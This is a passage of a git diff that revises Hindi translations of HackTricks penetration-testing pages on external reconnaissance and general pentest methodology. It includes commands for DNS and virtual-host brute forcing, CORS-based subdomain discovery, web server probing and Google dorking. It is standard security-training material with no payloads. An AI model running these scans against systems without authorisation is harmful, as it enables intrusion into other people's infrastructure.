उपडोमेन खोजने में भी मदद कर सकती हैं। +> ध्यान दें कि कुछ उपकरण और तकनीकें डोमेन खोजने के लिए उपडोमेन खोजने में भी मदद कर सकती हैं। ### **DNS** @@ -315,15 +315,15 @@ python3 DomainTrail.py -d example.com - [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -आप यहां इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +आप यहाँ कई उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS ब्रूट फोर्स** आइए संभावित उपडोमेन नामों का उपयोग करके DNS सर्वरों को ब्रूट-फोर्स करके नए **उपडोमेन** खोजने की कोशिश करें। -इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन शब्दसूचियों की आवश्यकता होगी जैसे**: +इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन शब्दसूचियाँ जैसे** चाहिए: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -331,7 +331,7 @@ python3 DomainTrail.py -d example.com - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं: @@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है। +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) एक `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है। ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) डोमेन नामों को असिंक्रोनसली ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है। +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) डोमेन नामों को असिंक्रोनस तरीके से ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है। ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -366,30 +366,30 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com cat subdomains.txt | dnsgen - ``` - [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए जाने पर संयोजन उत्पन्न करें। -- आप [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) goaltdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं। +- आप goaltdns संयोजन **शब्दसूची** [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) प्राप्त कर सकते हैं। ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -- [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा। +- [**gotator**](https://github.com/Josue87/gotator)**:** दिए गए डोमेन और उपडोमेन के लिए उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा। ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की कोशिश भी कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)। -- आप altdns संयोजन **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं। +- आप [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं। ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - [**dmut**](https://github.com/bp0lr/dmut): उपडोमेन के संयोजन, उत्परिवर्तन और परिवर्तन करने के लिए एक और उपकरण। यह उपकरण परिणाम को ब्रूट फोर्स करेगा (यह dns वाइल्ड कार्ड का समर्थन नहीं करता)। -- आप [**यहां**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) dmut संयोजन शब्द सूची प्राप्त कर सकते हैं। +- आप dmut संयोजन शब्द सूची [**यहां**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) प्राप्त कर सकते हैं। ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** एक डोमेन के आधार पर यह **संकेतित पैटर्न** के आधार पर नए संभावित उपडोमेन नाम **जनरेट** करता है ताकि अधिक उपडोमेन खोजने की कोशिश की जा सके। +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** एक डोमेन के आधार पर यह **संकेतित पैटर्न के आधार पर नए संभावित उपडोमेन नाम उत्पन्न करता है** ताकि अधिक उपडोमेन खोजने की कोशिश की जा सके। #### स्मार्ट परम्यूटेशन जनरेशन -- [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को लेगा और उन्हें मिलाकर अधिक उपडोमेन खोजने की कोशिश करेगा। +- [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा। ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute @@ -413,11 +413,11 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / वर्चुअल होस्ट** -यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेनों से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेनों को खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**। +यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**। #### OSINT -आप कुछ **VHosts को IPs में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**। +आप कुछ **VHosts को IP में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**। **ब्रूट फोर्स** @@ -440,31 +440,31 @@ VHostScan -t example.com ### **CORS Brute Force** -कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** को **खोज** सकते हैं। +कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं। ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **बकेट्स ब्रूट फोर्स** -जब आप **सबडोमेन** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **बकेट** की ओर **संकेत** कर रहा है, और इस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ -इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभावित बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html). +जब आप **सबडोमेन** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **बकेट** की ओर **इशारा** कर रहा है, और इस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ +इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभव बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html). ### **निगरानी** -आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)। +आप **निगरानी** कर सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए जा रहे हैं या नहीं, इसके लिए **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स [**सब्लर्ट**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) का उपयोग करें। ### **कमजोरियों की तलाश** -संभावित [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\ -यदि **सबडोमेन** किसी **S3 बकेट** की ओर संकेत कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html)। +संभव [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\ +यदि **सबडोमेन** किसी **S3 बकेट** की ओर इशारा कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html). यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\ -&#xNAN;_Note करें कि कभी-कभी सबडोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ +_ध्यान दें कि कभी-कभी सबडोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ ## IPs प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और सबडोमेन** पा सकते हैं।\ -अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है। +अब समय है कि आप **उन रेंज से सभी IPs को इकट्ठा करें** और **डोमेन/सबडोमेन (DNS क्वेरी) के लिए।** निम्नलिखित **फ्री APIs** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं) @@ -480,13 +480,13 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ## वेब सर्वर शिकार -> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है। +> हमने सभी कंपनियों और उनकी संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है। -पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **रिपोर्ट किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। +पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ रीकॉन किया है**, इसलिए आप **संभव सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आप नहीं पाए हैं, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। -कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**). +कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** को भी करना चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**). -**वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/index.html#http-port-discovery)।\ +**वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/index.html#http-port-discovery).\ वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 @@ -566,13 +566,13 @@ github-leaked-secrets.md ### पेस्ट लीक कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजना बहुत दिलचस्प है।\ -आप **उपकरण** [**Pastos**](https://github.com/carlospolop/Pastos) का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं। +आप **Pastos** नामक उपकरण का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं। ### गूगल डॉर्क्स -पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **उपकरण जैसे** [**Gorks**](https://github.com/carlospolop/Gorks) **का उपयोग कर सकते हैं** **उन सभी को चलाने के लिए**। +पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण का उपयोग कर सकते हैं** [**Gorks**](https://github.com/carlospolop/Gorks) **उन्हें सभी चलाने के लिए**। -_ध्यान दें कि जो उपकरण नियमित गूगल ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि गूगल आपको बहुत जल्दी ब्लॉक कर देगा।_ +_ध्यान दें कि जो उपकरण नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_ ### **कमजोरियों की खोज** @@ -582,7 +582,7 @@ _ध्यान दें कि जो उपकरण नियमित ग यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं। -**भाषा के आधार पर** आप विभिन्न **उपकरणों** का उपयोग कर सकते हैं: +**भाषा के आधार पर** आपके पास विभिन्न **उपकरण** हो सकते हैं: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md @@ -596,7 +596,7 @@ _ध्यान दें कि जो उपकरण नियमित ग **कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/index.html)। -मैं [**वेब स्वचालित स्कैनर्स ओपन सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।** +मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी** प्राप्त करने के लिए कार्यप्रवाह में लागू करने के लिए सहायक होते हैं। ## पुनरावलोकन @@ -604,19 +604,19 @@ _ध्यान दें कि जो उपकरण नियमित ग तो आपने पहले ही: -1. दायरे में सभी **कंपनियों** को खोज लिया -2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया) -3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया -4. डोमेन के सभी **सबडोमेन** को खोज लिया (क्या कोई सबडोमेन टेकओवर?) -5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया। -6. सभी **वेब सर्वर** को खोज लिया और उनका **स्क्रीनशॉट** लिया (क्या कुछ अजीब है जो गहराई से देखने लायक है?) -7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया। +1. दायरे में सभी **कंपनियों** को खोज लिया है +2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया है (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया है) +3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया है +4. डोमेन के सभी **सबडोमेन** को खोज लिया है (क्या कोई सबडोमेन टेकओवर?) +5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया है। +6. सभी **वेब सर्वर** को खोज लिया है और उनका **स्क्रीनशॉट** लिया है (क्या कुछ अजीब है जो गहराई से देखने लायक है?) +7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया है। 8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं। -9. आपने जो भी वेब खोजी हैं उनका **पेंटेस्टिंग** किया। +9. **आपने सभी वेब्स का पेंटेस्टिंग किया है जो आपने खोजी हैं** -## **पूर्ण रीकॉन स्वचालित उपकरण** +## **पूर्ण पुनः खोज स्वचालित उपकरण** -कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को करेंगे। +कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को निष्पादित करेंगे। - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 805c0ae49..67aa79be2 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -11,19 +11,19 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran ### 0- भौतिक हमले -क्या आपके पास उस मशीन तक **भौतिक पहुंच** है जिसे आप हमला करना चाहते हैं? आपको [**भौतिक हमलों के बारे में कुछ तरकीबें**](../hardware-physical-access/physical-attacks.md) और [**GUI अनुप्रयोगों से बचने के बारे में अन्य**](../hardware-physical-access/escaping-from-gui-applications.md) पढ़नी चाहिए। +क्या आपके पास उस मशीन तक **भौतिक पहुंच** है जिसे आप हमला करना चाहते हैं? आपको कुछ [**भौतिक हमलों के बारे में तरकीबें**](../hardware-physical-access/physical-attacks.md) और [**GUI अनुप्रयोगों से बचने के बारे में**](../hardware-physical-access/escaping-from-gui-applications.md) पढ़नी चाहिए। ### 1 - [नेटवर्क के अंदर होस्ट का पता लगाना](pentesting-network/index.html#discovering-hosts)/ [कंपनी की संपत्तियों का पता लगाना](external-recon-methodology/index.html) -**इस पर निर्भर करता है कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं। +**इस पर निर्भर करता है** कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं। > [!NOTE] > ध्यान दें कि यदि आप एक बाहरी परीक्षण कर रहे हैं, तो एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच प्राप्त कर लेते हैं, तो आपको इस गाइड को फिर से शुरू करना चाहिए। ### **2-** [**नेटवर्क के साथ मज़े करना**](pentesting-network/index.html) **(आंतरिक)** -**यह अनुभाग केवल तब लागू होता है जब आप एक आंतरिक परीक्षण कर रहे हों।**\ -किसी होस्ट पर हमला करने से पहले, शायद आप **नेटवर्क से कुछ क्रेडेंशियल चुराना** या **कुछ डेटा स्निफ़ करना** पसंद करें ताकि आप **पैसिवली/एक्टिवली (MitM)** जान सकें कि आप नेटवर्क के अंदर क्या पा सकते हैं। आप [**Pentesting Network**](pentesting-network/index.html#sniffing) पढ़ सकते हैं। +**यह अनुभाग केवल तब लागू होता है जब आप आंतरिक परीक्षण कर रहे हों।**\ +किसी होस्ट पर हमला करने से पहले, शायद आप **नेटवर्क से कुछ क्रेडेंशियल चुराना** या **कुछ डेटा को स्निफ़ करना** पसंद करें ताकि आप **पैसिवली/एक्टिवली (MitM)** जान सकें कि आप नेटवर्क के अंदर क्या पा सकते हैं। आप [**Pentesting Network**](pentesting-network/index.html#sniffing) पढ़ सकते हैं। ### 3- [पोर्ट स्कैन - सेवा खोज](pentesting-network/index.html#scanning-hosts) @@ -37,12 +37,12 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran यदि किसी भी चल रही सेवा के लिए कोई शानदार शोषण नहीं है, तो आपको **प्रत्येक चल रही सेवा में सामान्य गलत कॉन्फ़िगरेशन** की तलाश करनी चाहिए। -**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में **_**PENTESTING**_ **खंड की खोज करें** (सेवाएं उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)। +**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में** _**PENTESTING**_ **खंड की खोज करें** (सेवाएं उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)। -**मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **भाग का उल्लेख करना चाहता हूं (क्योंकि यह सबसे विस्तृत है)।**\ +**मैं** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **भाग का विशेष उल्लेख करना चाहता हूं (क्योंकि यह सबसे विस्तृत है)।**\ इसके अलावा, [**सॉफ़्टवेयर में ज्ञात कमजोरियों को खोजने के लिए एक छोटा गाइड**](../generic-hacking/search-exploits.md) यहाँ पाया जा सकता है। -**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल की खोज करें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते**, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाओं को पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)। +**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते**, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाओं को पढ़ने** से शुरू कर सकते हैं 